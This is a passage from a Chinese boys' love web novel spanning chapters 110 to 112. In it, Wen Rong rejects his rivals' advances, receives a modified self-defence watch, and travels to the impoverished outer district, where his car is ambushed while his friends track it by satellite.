卷尺全数缩回,莱昂牵开嘴角,“你会当180守门员吗?” 蓝书上都喊179的人是180守门员。 温绒好气又有些好笑,“不许咒我,我的理想是185。” “如果长不到那么高,学长就去研究无痕鞋垫。” “那是不是太屈才了。” “为了终身幸福,做什么都可以。” 温绒被重重的一句“终身幸福”压住了,没想到该回答些什么,莱昂吻上他。 缺少平日的温柔,几乎是不容拒绝地,咬开他的唇。 像带着火气。 温绒大概猜到原因,乖顺地仰头配合。 只是越乖好像越助长莱昂的气焰,昨晚被磨的唇角又痛起来。 温绒发出“唔”地吃痛声也无法阻止每一个地方被扫过,想是要盖掉时野留在里面的一些印记。 不知道过了多久,莱昂才放开他,“昨晚他们为什么你去房间。” 意乱情迷的时候最适合问话,学长大概要打他个措手不及。 还好温绒早准备好回答,“接受了份文件,怕有病毒,麻烦李奥帮忙打开。时野住我隔壁,听到动静他就跟过来了。” “论坛上说,时野留到很晚。” “嗯。” “……” 莱昂不再开口,一如周谢的预测,好奇死了,但憋着。 温绒斟酌几秒,放弃周谢的建议——不解释,给点甜头。 他想,他跟莱昂学长的相处应该建立在彼此由衷自愿的原则上,不该参杂领导捆住下属这样的关系。 “学长,你是自由的,你可以选择叫停。” 莱昂学长托起他的脸,蓝眼睛里含着水似的温柔,“学长一点也不想叫停,学长这个冷宫大房想要补偿。” “大房?”温绒哭笑不得。 这都什么奇奇怪怪的称谓。 “对,在论坛上,时野是二房,周谢是三房,那按逻辑推算,学长应该是大房。” “论坛里都是说笑的。” “你该知道,很多真话都是通过开玩笑的方式说出来。” “无论叫你老婆、女神还是男神,想要得到你的心情是一样的。” “那些凑热闹一样当你的几百号姨太太的人,其实都在很认真地争着名分。” 温绒无言以对。 “不说那些不重要的人了。你昨晚落下学长,学长很伤心,你该补偿我。” “学长想要什么补偿?” “想要……” “……” 莱昂低下头,用鼻尖蹭他,“想要更进一步。” 温绒听懂了。 更进一步,就是做到视频里的那一步。 赤/裸纠缠,用诡异姿势试探身体最隐秘的角落。 虽然上次去酒店是有考虑过如此,但那时做足了心理准备,现在学长毫无预兆地提起,温绒不免尴尬,别开脸,不敢跟他对视。 莱昂掰回他,“你不想更了解学长吗?” “……” “学长把最脆弱的地方交给你,你开心,可以奖励学长,不满意,也可以惩罚学长。” “不用有任何心理负担,无论怎样学长都会满足。” “因为,全世界只有你可以玩弄我。” 蛊惑的声音一阵一阵窜进耳蜗,温绒后背打着冷颤,排解不断上涌的酥麻。 缠绵的吻在喉结上,吮吸动作惊醒温绒。 温绒一把推开莱昂。 “学长,新闻社要出去团建,这几天不行。” 再多的甜言蜜语都没用,温绒明明确确知道,无论对象是时野还是莱昂学长,他都是下面受罪的那个! 惊人的型号,能让他在游轮上躺三天。【你现在阅读的是 】 110-113 第111章 第 111 章 去往外城区 不过温绒的游轮计划还是被打乱了。 仿佛要帮他缓解拒绝莱昂的尴尬, 周谢的电话掐准时间打过来。 温绒想着要是周谢来一句“做了吗”,就立马挂断给他拉黑。 “照片处理好了,我觉得该你自己来看看。” 幸好不是。 温绒看一眼莱昂, 莱昂微笑,“怎么了?” 周谢那边敏锐察觉到什么,问:“你跟莱昂在一起?” “嗯。” “可以让莱昂帮你带路,他知道李奥的宿舍在哪。” 李奥宿舍在莱昂学长的楼上,几乎是对角,一个朝南一个朝北,进门时, 温绒先感受到一阵冷气。 房间里黑漆漆的,没有半点日光,也没有开灯。 却明亮。 这里更像是一个赛博世界, 各种奇形怪状的机器包裹炫彩的灯光,书桌上,四块又长又曲的屏幕, 照出李奥脸上明显的黑眼圈。 温绒不太适应这样的环境,在他的认知里, 关灯看电子产品对眼睛不好。 噔—— 莱昂学长不知道什么时候走到了门边,打开了灯。 李奥艰难地抬手挡了下,“能不能关灯,太刺眼了。” “太暗了, 看不清。” 周谢也说,“开灯吧,先看照片。” 李奥看一眼莱昂,又看一眼周谢,心想以前你们到我这看东西也没要求我开灯啊, 余光间不经意瞥到眉间还留着褶皱痕迹的温绒,恍然大悟。 哦,为了温绒才开的灯。 怎么不为了我关灯? 李奥的脑子转得极快:当然是因为你没地位啊! “照片在哪?”地位最高的开口了。 李奥不情不愿,憋憋屈屈地打开处理好的照片。 曝光过度,照片浮现一种诡异的白。李奥放大照片,用鼠标指示出下半部分位置,“照片是趴在地上拍摄的,这些容易让人以为是照片磨损的竖形黑块,其实是腿。” “根据我表哥的分析,这种带着明显肌肉痕迹,有一定粗度的腿,应该属于男人。” 李奥见地位最高的人没有要说话的意思,继续挪动照片,最右方,圈出一个圆,“这一块是黑的,我跟表哥猜测应该是头。根据知道黑影的起伏来判断,这些腿正围着一个女人的身体。” 温绒微微蹙眉。 李奥跳转下一张照片,“这是所有照片里面最清晰的,一群人蹲在墙下,轮廓很难辨认是男是女,但有大有小,应该是成年人和孩子。” 莱昂问:“还有其他照片吗?” “其他的照片就算处理也看不清了。” 李奥为了证明自己说的是实话,迅速滑动鼠标,过一遍所有照片。 滑到底,他回头,见三个人若有所思。 空气太安静了,安静得有些诡异,李奥都开始不自在。 “表哥?”他看向自家表哥。 周谢:“用电话号码查一下机主,确认这些照片的真实性。” 莱昂接着说:“我也问问朋友有没有把照片还原的机器。” 温绒:“……” 四人短暂地从电脑前散开,周谢跟莱昂都在打电话,温绒找了把椅子坐下来,静静望着模糊不清的照片。 十分钟后,周谢带来从电话那头得到的消息,外城区的案件太多,光是囚禁女人孩子的描述就有厚厚一沓没结案的文件,很难确认照片涉及哪一个案子。 李奥也查到电话号码绑定的是一位已过世老太太的身份证,跟温绒听到的声音明显不符。 “要不我再打电话联系那个女人问问情况?”温绒问。 周谢:“打电话问不方便。这种事,还是现场解决比较好,你把那个女人的社交账号给我,我让人去找一找她。” 温绒:“你不要吓到她。” “嗯。” 两人短暂的对话结束,房间内莫名陷入一片死寂。 或许是因为照片展示的东西过于沉重,让大家的心情都有些受到影响。 温绒不知道该说些什么打破沉默,只坐着。 在这样的安静中,心里突然生出一个念头——该回福利院看看了。 或许周总统当时说的就是这个意思。 他越来越坚定这个的想法,快速作出决定,“周谢,把网上的舆论放开吧,我找个合适的时间回福利院。” 周谢正打着字,猛然一顿,声量拔高:“你要回去?” “嗯。” “别告诉我你要去确认照片里的事是不是真的。” 温绒刚准备张嘴,莱昂抢在那之前开口:“温绒,你现在是公众人物,回去很可能有危险。” “看到这些照片,我觉得周总统当时让我回福利院看看可能还有其他含义。”温绒看向周谢,“你觉得呢?” 周谢蹙眉,脸上挂起明显的凝重。 莱昂:“那我和你一起……” 周谢:“你不是要去研究基地了吗?” 莱昂:“又不是非我不可,我可以下次去。” 温绒想了想,“学长,不用你陪我去的,你做自己的事情就好了。” 周谢帮着说:“你去时野肯定也要去,时野马上要准备大学生网球联赛,他根本没办法抽身。” 温绒刚准备点头表示赞同,听到周谢又说:“我跟他去。” “啊?” “我空余时间很多,而且这件事跟我爸有关,我去有什么不行吗?” “噗嗤”莱昂发出一声笑,眼底明亮,悠悠地朝周谢望,那意思像在说“你装什么装”。 周谢置若罔闻,“什么时候出发?我去准备。” “你还是别去吧。” 目前看来福利院那边存在潜在危机,周总统都已经去世了,温绒不想他儿子也陷入危险之中。而且回福利院这件事本身是自己的事,温绒不想过于牵扯其他人。 莱昂好像明白他的想法,问:“你不让别人跟你去,万一出事怎么办。” “正因为可能会出事,我才觉得周谢不能跟我一起。要是我跟他一起进贼窝了,谁来救我们。”温绒继续解释,“如果只有我一个人在贼窝里面,我相信你们能把我救出来。” 周谢:“……” 莱昂:“……” “而且我都是公众人物了,我要是出事,全联邦都会帮我查凶手吧。” 周谢和莱昂对视一眼,不再多说- 事情就这么定下来,蓝书上关于温绒回不回福利院的风失去控制,只一个下午,就吹到弗罗里曼学院。 温绒走在路上,有不认识的人会过来问,“你要回外城区吗?” 好像鼓足了勇气,对方脸都红透了。 温绒假装没听懂,对方更是看都不敢看他,低着头默默的劝说:“别回去吧,你现在这样,回去多不方便。” 全世界都在关心他要回外城区的事情。 温绒一直没把林竞航当做这个世界的人,这次却奇了。 晚上突然召集全体学生会开会,内容是他自己都搞不清楚的学生会日程安排,迷迷糊糊讲完,特地当着所有人的面叫温绒留下来。 那瞬间,整个办公室里没有一个好脸色。 周谢皱着眉要把他拉走,正合他意,两人一起朝门边走,其他人默契地让道。 林竞航却突然追上来拦在门口。 “上次我们打赌的事还没结束。” 周谢瞥一眼温绒,眼神带着询问。 温绒犹豫了几秒,点头。 积分确实足够让他留下来。 学生会大楼的办公室内,林竞航特地关上窗户,帘子紧闭,全然把这里变成隔绝一切的独立空间。 温绒坐回自己刚才的位置。 林竞航就着他坐过来。 温绒站起身的瞬间,林竞航出乎意料地明白了其中含义,主动坐到隔壁的位置上去。 随后林竞航摸出手机,顺着桌面小心挪到温绒面前,“论坛上说的是真的吗?昨天晚上,那些人真的在你房间里。” 温绒了然。 他成功把林竞航引导入戏了,现在林竞航真以为他喜欢他。 砰砰。 温绒手指落在手机上,指甲敲出响声。 手机屏幕放大一张时野从温绒房间里出来的照片。 这些人太厉害了,昨晚明明什么动静都没有,但就是拍到了这样清晰的照片。 “是真的吗?”林竞航又问一遍,紧张地吞咽唾液。 “是假的。” 温绒听到,林竞航松了口气,不免扯了扯嘴角,带着几分嘲弄的意味。 “你为什么相信我说的话?” 林竞航一愣:“什——” 温绒打断他:“照片不是都摆在这吗,还能有假的?” 空气相比之前更加安静,仿佛凝固了。 温绒维持在微笑的状态,而林竞航好像处理不过来这样的场面,五官呈现出一种茫然和震惊。 滋啦—— 林竞航猛然起身,椅子倒地,两只脚高高悬在半空。 他跨过去,逃命似的,大步走到门口。 而手摸上门把手的瞬间,清醒了,浑身一抖,重新回来坐到了温绒的另一侧。 温绒站起身,他忙不迭往后再退一个位置,保持距离。 可温绒这次没有再听他说话的意思,是真的要走了。 “你去哪——”林竞航着急问。 “我跟你不是那种可以闲聊的关系,你看来并不打算把本该属于我的积分兑现,我也没必要跟你浪费时间。” “我……” 林竞航跺一下脚,“不是我不给你兑,我问我的系统,他说我没办法把我的积分给你。” 温绒冷笑。 他问过系统,系统明确说积分可以交易的。 林竞航竟然有脑子骗他? 林竞航:“我说的是真的。” “那我更没有理由留下来了对不对,反正你现在不可能兑现积分。” 温绒走到门边,又听到林竞航问:“你跟他们做了什么?” “跟你有什么关系?” “我……” “我昨晚上不仅跟他们在一块,今天上午还去了莱昂的房间做了很多你想不到的事。所以呢?你很嫉妒?” “嫉妒?” 林竞航低喃,好像在思考这个词的意思,但很快,他跳过了这个问题,换其他的问:“我听说你要回福利院。” “……” 温绒静静望着他,算是第一次仔细打量林竞航的脸。 林竞航在普通人里一定算五官端正的那一类,但不像时野他们,每一个人都有独特的风格。 林竞航身上存在一种违和感。 油腻腻又固定造型的发丝在他脑袋上,像杂草。 想要收回眼,蓦然发现林竞航也在看他。 温绒倒打一耙:“你看我干什么?” “……” “我问你看我干什么?” “我……”林竞航喉结上下滚动,“我发现,你长得好好看。” “……” 林竞航小心靠近他,“温绒,可能你说得对,我真的忘记自己来这个世界的目的了。我不想找那个人了。” 是么。 真是很没有毅力的一个人。 温绒错开他的视线,在空荡的办公室里,找到刚才有人不小心落下的笔记本。 咚咚咚 有人敲门。 不等回复,门把手向下一滑,一张脸从门后面露出来。 小心翼翼地看一眼温绒,又看一眼林竞航,好像确认什么似的。 过了半晌,才假装歉意地说:“不好意思哈,会长,我笔记本忘拿走了。” 温绒往旁边挪一步,让人进来。 对方拿了笔记本,依依不舍地走出去。 眼睛倒不在乎那个本子,跟刚才一样,一直往温绒身上瞥。 温绒把门关上,“你的话令我震惊。” 林竞航:“我是认真的,我想了好久,我确实一点也不想找那个人了。” “……” “我现在喜欢你。” “……” “我真的喜欢你。” “……” “……” 温绒深吸一口气,“所以呢。” “所以你——” “喜欢我的人多到你难以想象,我要对所有人负责吗?” 林竞航:“……” “而且你的喜欢太廉价了。林竞航,其实我很怀疑你说的末世是否真的存在,因为你看起来一点都不像是在末世生存下来的人。” 林竞航的脑袋迟钝一歪,好像没听明白。 “你太烂了。你虚荣,无知,喜欢高贵的身份,热爱与众不同的富豪生活,可惜根本配不上这些东西,呈现出滑稽的违和感。” “你说你的积分是杀了丧尸的来的,真的是你杀的吗?你用什么杀的?用你那很烂的枪法?” “我也争取过积分,我知道每一点积分都来之不易。在末世应该生活的很艰难才对,你甚至可以为了不晒太阳而去挥霍积分,让我觉得那像是不义之财。” “你……” 温绒还准备再说,恍然发现林竞航双眼赤红,好像陷入了极度的痛苦,两只手艰难的扶住脑袋,彻底蹲下来。 那样蜷缩在地面的样子,像极了温绒想象中自己锁在地上的模样。 他拉开门,去叫外面等待林竞航的人来处理。 没走几步,身后传来撕心裂肺的痛叫。 温绒犹豫了两秒,还是继续往前走。 回到宿舍,周谢通过黒鸽告诉他,林竞航在他走后没多久就昏了过去,校医检查不出什么问题,王家派人接他去1区医院做全身检查。 夜幕落下,春风徐徐缓缓吹开帘子。 温绒站在窗边,看着整座校园笼罩在一片祥和之中,路的尽头走来几个结伴的学生,嬉笑打闹。 等走近了,他发现是张麟学长跟林启正学长。 还有其他几个生面孔,温绒不认识。 一股诡异的情绪从心中涌出,但很快,他想起来自己还没在新闻社的群里给几个学长讲游轮计划取消的事。 顿时释然。 新闻社解散,新闻社的学长们有了新的朋友新的人生目标,跟他的关系可能没有以前那样亲近了,但其实他也一样。 他也因为自己的目标,短暂忘记了新闻社的学长们。 或许,这就是恋人存在的意义。 这一刻,需要与恋人依偎。 温绒惊讶于自己竟然会联想到这上面去。 可能这个想法一直都些概念,今天林竞航那套“喜欢”过于反面教材,促使他开始好好组织语言形容它了- 翌日清晨,温绒被雨声吵醒。 乌云盖住整片天际,瓢泼大雨像天上落下来的浆糊,将整面窗户都糊上一层难以抹开的粘液。 温绒甚至怀疑地去看了一眼时间,确认是5点后又看一眼窗外。 “哥哥,今天好黑呀。” 【嗯。】 因为已经到了春天,5点的时候照常应该是灰蒙蒙的,今天的天气却像还在冬天。 滋地一声,温绒收到了气象局发来的消息。 气象局提醒,突然来了一道冷空气,不仅弗罗里曼学院,周边的整个片区都开始降暴雨,预计持续一周。 温绒打开蓝书就看到热搜上说洪涝、水灾的消息,有些地方的一楼甚至都被淹了,电路、网络全部中断。 “哥哥,有点奇怪。我之前看天气预报,没说这段时间会有大雨。” 顿了下,“而且弗罗里曼学院的位置很好,怎么会有极端天气出现?” 【宿主别着急。】 “上次地震的时候,也一反常态地出现了极端天气。” 【放心,弗罗里曼学院不在地震板块上。】 “会不会有其他的问题?” 【我来帮宿主查一下。】 不过几秒,【查到了。气象局说有一部分云很诡异的积累在周边,昨晚才到达弗罗里曼学院上空。我想应该是林竞航之前用了太多积分兑换好天气,以至于很多本该到来的雨云被堆积到了一块儿。昨晚林竞航昏迷,今天肯定没有用积分兑换任何东西,这些云按照常理飘了过来。】 温绒大惊:“原来不是凭空出来的吗?” 问出来后温绒都觉得自己有点傻。 他之前一直以为,林竞航兑换好天气的时候就是凭空变一个好天气出来,现在细想,那种事背后的逻辑应该所有的云被风吹走,太阳光落下来。 【系统属于计算机科学,一般情况下都以科学的方式满足宿主的要求。】 “雨什么时候会停?” 【可能会下一个星期左右。】 “一个星期太久了,以现在这个雨水量计算,很多地方可能会被淹。” 【……】 系统无言,这是它没办法解决的问题。 “我也回不去福利院了。” 【嗯。】 温绒说完,脑海中一根筋骤然连上,“系统兑换晴天都出现了这样的极端天气,那周总统死的时候,为什么没有连锁反应。” 【因为按照剧情,他差不多会在那个节点去世,林竞航改变剧情的影响并不大。】 温绒脸色骤然发白,无言。 【宿主?】 “我没事。” 他打开窗户,任风把雨吹进来。 良久,叹了口气。 林竞航一周没有回来,一周的连续强降雨影响了路面使用,弗罗里曼学院的课停了大部分。 这几天时野出奇的安静,旁边总是很早就想起开关门声,很晚的时候又响起一声,唯一的接触就是某天早上送过来一双雨鞋。 莱昂学长也是。 温绒还以为莱昂学长会说下雨天没什么事,可以“更进一步”。 晚饭时,温绒坐在床边给自己穿好雨靴,正准备出门吃饭,突然接到来自莱昂学长的电话,叫他去408。 温绒到408门口敲门时,时野站在面前,帮他接过伞,还在旁边找拖鞋。 滋—— 房间里传来电钻的声音。 这样同一个场景,同一群人的画面,莫名有种时光飞逝,“物是人非”的感觉。 半年前选课那个晚上,也是黑漆漆的,时野来开门,莱昂学长在里面。 那时的他…… 半年前的他,连他自己都觉得陌生了。 “身上湿了没?换下来去烘一下?”时野围着他绕圈,一边问一边看。 “没有。” “背上有雨点,你脱下来,我去给你弄。” 温绒:“啊?” “顺便的事,等会你试戴手表也要脱衣服的。” 温绒脱下外套递给时野,问:“什么手表?” “你不是要去外城区?那边很乱,我跟莱昂给你改装了一块军方特工用的手表。” 温绒惊呆了,军方、特工、改装,每一个词听起来都很厉害。 这么严肃郑重的态度,都让温绒紧张了,“外城区有乱到这种程度吗?” “以防万一。” 两人短暂的说完,房间里面的电钻声停了,莱昂学长搬着个人一样的模型走出来,从白色脑袋后面探出半颗头,“来了?” “嗯。” “来试试我给你弄的东西。” 莱昂学长确实拿了块类似于机械手表的东西戴在他手上,还让他压下手背,对准人形模型。 砰—— 很轻的一声,温绒的手臂被重重弹了一下,而人形模型的正中间凹进去一块,温绒凑近看,发现上面粘着一块类似于小电池的金属。 他刚准备伸手摸,被莱昂学长拦下来,“别碰,这东西带着电。” “这个好像……”温绒欲言又止。 像他上辈子在同学铅笔盒上看见过的动漫人物的武器。 “防身的,如果你遇到危险,就这样用这头对准对方,按一下旁边调整时间的按钮。射程是十米,你自己把握好这个距离。” “刚才他好像弹了我一下。” 时野:“跟枪的后坐力一样,会有一些反弹的感觉。你到时候握紧手腕能减缓一点。” 这真是过于专业了。 温绒先是哭笑不得,后又想到这几天学长跟时野都没有联系自己,或许就是在忙着改造防身手表。 他们非常非常关心他。 于是端正了态度,给两人道谢。 莱昂摆摆手,“学长本来该陪你一起去,但这次研究基地出了一些结果,要求学长必须去现场。” 时野暗戳戳道,“手表的意见是我提的。” 温绒朝他微笑:“我想也是你,你总是知道这些厉害的玩意。” 莱昂:“把子弹换成小电池是我的意见,还记得那个带电的小玩意吗?我特地融进手表里面。” 温绒朝学长笑,“学长也好厉害。” “嗯,虽然你发了时野一个厉害,也顺便发了学长一个厉害,不过学长很开心。” 这下,温绒是真的哭笑不得了。 他能怎么办呢,毕竟先争抢的是他们俩啊! 启程时间定在雨停的第三天。 周谢给他准备的车,一个司机,两个保镖,还告诉他,过了内外城区中间的警戒线,只需要两个小时车程就能抵达福利院,那边会有警察接应他。 温绒谢过周谢的安排,拎着行李袋坐上车。 周谢敲敲车窗,温绒把车窗摁下来,他站在车外做了个打电话的手势,“随时保持联系。” “好的。” “注意安全。” “好。” 温绒跟周谢告别,合上车窗,回头跟对面两个保镖对上视线。 准确说是其中一个。 两个保镖都戴着口罩,但这一个比旁边那个要魁梧一些,脑袋几乎要顶到车顶,直勾勾的盯着他。 温绒犹豫了片刻,发现那个眼神从警惕变为幽怨,在锋利的眉目中,寻找到一丝熟悉。! 他问:“你不是要准备联邦大学生网球联赛吗?你作为舍长不参加比赛,是不是有点太不负责任了。” 那眼神终于柔和下来,“你原谅周谢就算了,为什么对他语气那么好。” 温绒:“……” 时野迅速别开脸,摘下口罩,“热死了。” 又为了缓解尴尬,拍拍隔壁的保镖,“谢了,哥。不用再戴口罩了” 旁边那位才缓缓摘下口罩,一脸阴郁,看起来像是被逼的。 温绒叹气:“你的比赛怎么办?” “他们又不是缺了我就拿不到冠军了,万一你在外城区出事我才再也见不到你了。” “行吧。” 温绒妥协。 他作为穿越者,其实并不了解这个世界。在莱昂学长、周谢以及时野就认定他去外城区会出事的情况下,还是默认自己也会遇到危险吧。 “你表情不太好,是不是在生气?”时野坐到温绒这一边来。 “我没有生气,我只是有点不理解,你想跟我一起去就直接说就行,为什么还要乔装打扮装成保镖。” “我也是10分钟之前才决定的,你看这衣服,根本不是我的尺寸。”时野伸出短一截的袖子给温绒看。 “嗷!周谢给我安排的是两个保镖,你把其中一个换掉了。” “嗯嗯。” “你不如直接上车来,我们还能有两个保镖。” “我就是给你当保镖来了,别小看我,我也算是……”顿住,用脚尖踢一下对面的保镖,“哥,够资格当保镖吧。” 高冷的保镖大哥“嗯”一声。 时野继续说:“你看,我得到了专业人士的认可。我可是两届军体拳击大赛冠军,当今军政处处长的关门弟子,十六岁打遍……” 温绒一边胡乱“嗯嗯”点着头,一边摸出手机把时野的事情给周谢讲了。 周谢那边很快回了一串省略号过来。 又说:[我的人找到那个女人了,照片里面所有内容都属实。你如果要查什么,让时野去,外城区有军方基地,不会让时野出事。] “内容属实”4个字映入脑子,后面的话都已经被自动忽略了。 温绒的心脏“轰”地一下重重坠落。 甚至连糊弄时野的力气都没了,偏头看向窗外。 看来外城区真的是个很危险的地方。 防弹车逆着车流望外开,路越走越荒,直到远方出现一片缠满细铁丝的电网。 看得出来缝缝补补过许多次,大部分铁丝满是锈迹,靠近角落的地方会有崭新铁丝填补的的一片区域,像被翻修过的“狗洞”。 而电网之外,更是荒凉。 来的一路上,他还觉得树多荒凉,现在看来,外城区才是真正的荒地。 临近铁丝的地面,似乎有黑色的东西。 温绒打开窗,想要看清楚是什么,难闻的味道先一步灌入鼻子。 垃圾混杂着汗水,被风带来这一头,而他也终于看清那一头——铁丝的缝隙间,露出一双双空洞的眼睛。 那片黑色,是一群人。 第112章 第 112 章 外城区1 来之前温绒在网上查询过关于外城区的资料。 内外城区的叫法起源于帝国。 帝国修建围墙, 将地势好资源丰富的地界都归入自己的管辖,荒芜之地通通放置在城墙之外。 但贵族掌握大部分土地,穷人为了生存, 不得不到外城区寻求生路。 由此,外城区也建立起了城镇。 那时候城墙内外可以自由通行,城墙目的大多用于阻隔野外猛兽。 直到联邦建立,部分帝国余党逃往外城区。 为了稳定局面,也防止帝国余党混入联邦,这道关隘被严格把控,外城区的人要进入内城区, 需要经过审核。 一如进入学生会没有要求,实际却有着极高的门槛。 联邦并没有对个人方面提出要求,可外城区管理混乱, 这种“审核”很快变成利益权力纠缠的潜规则。 而站在网后面的眼睛,是无法使用潜规则的那群人。 蓝书上有记者描述: 每天都有人等在网边,怀着微乎其微的希望, 祈祷铁丝网突然没电。届时,他们会立即捅破铁网, 逃进来。 虽然有军队驻守,但万一幸运地逃过枪了呢?万一呢。 这种事,不是没发生过。 对他们来说,这一点点赌上性命的侥幸, 比在外城区好好活着更有吸引力。 相比之下,他救了个人就进入内城区,简直可以说是神迹。 温绒一双一双眼睛对视,心脏突突地跳,产生微妙的感觉。 “温绒。” 温绒把视线收回, “嗯?” 时野俯身将车窗合上,“关上窗,这车是周总统之前用的,能防弹。” 光亮被缓慢隔绝在外,温绒的脸藏在阴影里,掩饰住了他自己也不明白的情绪。 “过了这个大门,就是外城区了。” “嗯。” 他们的车提前打过招呼,不需要检查,直接通行。 穿过那道门,就好像来到另一个时空。天阴沉沉的,笼着砖瓦堆砌的矮楼。 墙皮被窗上伸出的烟筒熏黑,唯一未受害的地方,不是运气好,而是破了洞。 洞后面有眼睛直勾勾盯着他们这辆车。 这辆车太过与众不同。 十来米宽的对向双行道上,公交车宛如掉了皮的“铅笔盒”,摇摇摆摆、挤压前行,车身摩擦的声音刺耳得让人头皮发麻。 而它们,都默契地避让。 几乎畅通无阻地来到一道桥前,半米高的护栏被河水冲刷,偶尔有垃圾一起被冲上来。 熟悉的味道刺透车窗飘进车里,是温绒在铁丝网那头闻到的臭味。 原来那味道来自这河里。 【根据剧情,宿主就是在这条河里把时竞跟他妈妈救上来的。】 温绒惊了瞬。 时竞妈妈虽然品德不算好,但怎么说也是个大明星,连同儿子一起掉在外城区的河里这件事非常奇异。 “你真跳进这河里救那对狗……” 温绒循着声音看向时野。 时野改口:“你真下去救人了啊。” 又补一句:“亏死了,又臭又脏,幸好没得传染病。” 车迅速过了这条臭气熏天的河,周围的房子比刚才更矮,几乎是红色砖堆砌起来的四个墙面,顶上盖一层黑色的石棉瓦。 而中间大路可以说是没有路,都是泥土被碾压久了形成的荒地。 “掉皮的铅笔盒”没有行驶到这边,只有几辆生锈的破三轮,满载的货物完全挡住前面的“驾驶员”,速度缓慢,因为地面的泥是软的,三轮车细轮子陷了进去。 矮房子里走出的小孩光着脚丫乱窜,甚至对这辆车太过好奇,跟着跑一小段路。 司机并没有将车速降下来。 这让温绒有些担忧,万一撞到小孩怎么办。 刚准备提醒,窗外矮房子也不再密集,小孩们都被甩到了老远的地方。 司机的车速突然间很快很快。 树越来越多,越来越高,像进入了原始森林,枝叶遮天蔽日,半点光落不到地上。 温绒习惯性看一眼手机,发现手机在这里完全没有信号,而时间,已经过去两个半小时。 周谢说,车程两个小时,司机速度只快不慢,为什么还没到。 更主要的是这种越来越荒芜的环境,让他隐隐有些不安。 温绒用手肘戳一下时野,“我有点——” 声音被骤然掐断。 身体猛地朝时野扑过去,尚来不及反应,天旋地转。 温绒产生失重的感觉,身体四处乱撞,直到被时野抓住。 荒无人烟的山坡上,黑色suv翻滚落至山下,一列老树全部撞断- 直升飞机落至屋顶,狂风吹得裤口直打脚踝,定制皮鞋的鞋带也逐渐松落。 周谢掀了一把挡住视线的头发,把笔递给排在队伍最后的莱昂,背过身挡风,让他在好不容易平整的签名表上填写名字。 “温绒到福利院了告诉我一声。” 莱昂的声音混入螺旋桨划破空气的震响,听不太清。 周谢只想赶紧完成工作好去监控温绒的行程,随意点头:“嗯。” “他的情况也随时告诉我一声。” “嗯。” “他现在到哪儿了?” 周谢偏头看向莱昂,刻意压了压下巴,眼珠子飘离下眼睑,“你干脆别去研究基地了。” 莱昂好像早等着他这么问似的,释然地点头,“嗯。” “嗯?”周谢对莱昂这种恋爱脑上头的行为表示了小小的震惊,随即揉了揉眉心,“表里有时野弄来的军方定位器,他就是去了边界,都能查到位置。” 莱昂:“按路程,这会儿应该到福利院里,你看看……” 周谢冷漠打断他,“上直升机。” “我还是很担心温绒,要不我也去外城区一趟。” “我帮时野收拾网球联赛的烂摊子已经很烦了。” 莱昂:“温绒只擅长打舆论战,外城区那么乱,我怕他嘴没有刀快。” “福利院那边的警察还没跟我联系,我要回去看温绒到哪了。” 两个人几乎陷入自说自话的局面,不知道什么时候,直升机顶头的螺旋桨转着转着停了动静,风缓下来。 “滋——” 兜里的手机一震。 莱昂敏锐地看向周谢的口袋,“是不是温绒来消息了。” 周谢摸出来,“你干脆转行学法律,天天留在学——” 抱怨戛然而止,屏幕跳出外城区警察发来的消息:[温绒未到。] 周谢把签名表往莱昂怀里一塞,转身拨出李奥的电话,一边朝楼下走,一边说话:“查一下温绒现在的位置。” “莱昂——” 莱昂要跟上去,远处,有人站在直升飞机门边喊。 莱昂回头做了个挥的动作,示意他们先走。 急促的脚步声穿透回廊,莱昂跟在周谢身后,神色凝重。 两人一齐转进办公室的门,没分个先后,一起被挤在门边。里头李奥听见动静,抱着电脑急匆匆跑过来。 “表哥,温绒的位置离福利院越来越远。” 周谢用力往前一挤,外套都被挤得崩了颗扣子,“嘶——能联系上保镖吗?” “目前联系不——”电脑响起来信提示,李奥眼睛一亮,“等等,保镖发消息回来了。” 李奥匆忙把笔记本电脑端回办公桌,迅速打开信息。 军用软件上,弹出一串数字。 “表哥,你来看。” 军用联络器为了防止被普通人破译,只采用数字作为通讯内容。即使是普通军官也不了解所有的含义,周谢跟周总统处理过事务,恰好了解过这方面。 “怎么样?”莱昂问。 “受到袭击,目前安全。”周谢说:“莱昂,连一下你家卫星,我要看一下他们目前的状况。” “嗯。” 莱昂从李奥手里抢走笔记本电脑,迅速登入内网,连上卫星监控系统。 “经纬度?” 周谢:“把手表的经纬度给他。” 莱昂跟李奥手忙脚乱地交换电脑控制权,漫长的几秒钟过去,电脑屏幕上终于弹出正在加载中的地图。 几乎由深绿色和黑色的马赛克组成,过几秒,才显示出更清晰的画面——浓烟滚滚,黑色的车落在山下,山路上,停着一辆灰色面包车。 “这不是福利院的方向。”周谢神色一凝,“李奥,查一下面包车。” “查不到,外城区一大堆这种被淘汰的破面包车,况且它车牌都没有。” “突然又那么多声音让温绒去外城区的时候我就觉得不对劲。” 莱昂一边说,一边摸手机准备处理不去研究基地的事,随即思索到那繁琐的手续,眉头一皱,“周谢,帮我给研究基地那边走个流程,我现在去外城区。” “等会儿,你不是已经坐直升机去研究基地了吗。”李奥后知后觉。 “以后再说。” 莱昂说着就要走出办公室,周谢下意识嘲笑莱昂紧张温绒紧张到没有半点理智,可任何调侃的心情都在提不起来,只能及时拉住莱昂,提醒:“冷静,时野在他身边,保镖也说他们目前安全,我会让人去找他。” “不行,他们遇到袭击,温绒肯定会用那块表。” “他用不是更好吗?你就是为了让他安全才改装的。” “我……”莱昂欲言又止。 周谢手上用劲,“你是不是有什么事没告诉我。” “……” “莱昂,认识这么多年,我才知道你还在过童年。” 莱昂胸口起伏,侧开脸,“我给温绒的表内部参考了枪体结构,打在普通人身上会死。” “所以?” “温绒怎么接受他杀了人这件事!” 周谢明白了,莱昂做那块表的时候满脑都是要让温绒远离危险,现在知道温绒可能会用那东西,满脑子变成温绒承受不了杀人这件事。 “你果然在过童年。”他下结论。 温绒会有心理阴影吗? 不会。 别的不敢说,但王斯辰出事那天,温绒一定怀有让他死的心。 只是莱昂完全缺席了那次件事,他根本不明白温绒已经多么清楚游戏规则。 不对—— 周谢转而拽起莱昂的领子,“你是真心觉得温绒会因为这种事心理崩溃?” “别把你自己都骗了。跟温绒睡了,就忘记当初一心把他推出来的事?你不清楚他走到这个位置就是会遇到危险吗?现在他如你所愿成为众矢之的,心疼了?后悔了?” 莱昂平静地抽动一下,挂在脸上面具裂开,露出那点显而易见的私心。 “是。” 李奥左顾右盼,脑仁一阵一阵的疼。 